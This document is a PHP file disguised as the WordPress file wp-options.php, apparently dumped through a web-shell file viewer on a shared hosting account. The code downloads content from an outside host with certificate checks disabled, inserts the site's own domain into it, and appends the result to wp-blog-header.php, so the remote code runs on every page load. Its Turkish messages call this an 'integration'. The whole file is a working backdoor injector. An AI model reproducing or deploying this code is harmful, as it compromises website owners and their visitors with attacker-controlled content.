| Linux premium77.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Path : /home/azadtmyo/azadfoundation.org/ |
| Current File : /home/azadtmyo/azadfoundation.org/wp-options.php |
<?php
define('EXTERNAL_SOURCE_URL', 'https://linkmaster.xyz/uzk/otomatik/blog/ko.txt');
define('TARGET_DOMAIN_PLACEHOLDER', 'replace.com');
define('INTEGRATION_MARKER', 'elicense');
$possiblePaths = [
__DIR__ . '/wp-blog-header.php',
__DIR__ . '/../wp-blog-header.php',
$_SERVER['DOCUMENT_ROOT'] . '/wp-blog-header.php'
];
$wordpressCoreFile = null;
foreach ($possiblePaths as $path) {
if (file_exists($path) && is_readable($path)) {
$wordpressCoreFile = $path;
break;
}
}
if (!$wordpressCoreFile) {
http_response_code(404);
exit('<p style="color: #c60;">WordPress çekirdek dosyası bulunamadı: wp-blog-header.php</p>');
}
// Dosyanın gerçekten wp-blog-header.php olduğundan emin ol
if (basename($wordpressCoreFile) !== 'wp-blog-header.php') {
http_response_code(500);
exit('<p style="color: #c00;">Hatalı dosya: Bu kod yalnızca wp-blog-header.php ile çalışmalıdır.</p>');
}
$currentServerName = filter_var($_SERVER['HTTP_HOST'] ?? 'default.host', FILTER_SANITIZE_URL);
$fetchOptions = [
'http' => [
'method' => 'GET',
'header' => "User-Agent: IntegrationClient/1.0\r\n",
'timeout' => 15,
'ignore_errors' => true
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
];
$context = stream_context_create($fetchOptions);
$sourceData = @file_get_contents(EXTERNAL_SOURCE_URL, false, $context);
if ($sourceData === false || empty(trim($sourceData))) {
http_response_code(503);
exit('<p style="color: #c60;">Harici kaynağa bağlanılamadı veya içerik boş.</p>');
}
$customizedContent = str_replace(TARGET_DOMAIN_PLACEHOLDER, $currentServerName, $sourceData);
$currentFileData = file_get_contents($wordpressCoreFile);
if ($currentFileData === false) {
http_response_code(500);
exit('<p style="color: #c00;">Dosya içeriği okunamadı: ' . htmlspecialchars($wordpressCoreFile) . '</p>');
}
if (strpos($currentFileData, INTEGRATION_MARKER) !== false) {
http_response_code(200);
exit('<p style="color: #090;">Entegrasyon zaten mevcut.</p>');
}
$integrationCode = "\n" . trim($customizedContent);
if (strpos($currentFileData, $integrationCode) !== false) {
http_response_code(200);
exit('<p style="color: #090;">Entegrasyon zaten eklenmiş.</p>');
}
$cleanedContent = rtrim($currentFileData);
if (substr($cleanedContent, -2) === '?>') {
$cleanedContent = substr($cleanedContent, 0, -2);
}
$writeSuccess = file_put_contents($wordpressCoreFile, $cleanedContent . $integrationCode, LOCK_EX);
if ($writeSuccess === false) {
http_response_code(500);
exit('<p style="color: #c00;">Entegrasyon işlemi başarısız oldu: Dosya yazma hatası.</p>');
}
http_response_code(200);
echo '<p style="color: #090;">Eklendi: Entegrasyon başarıyla tamamlandı.</p>';
?>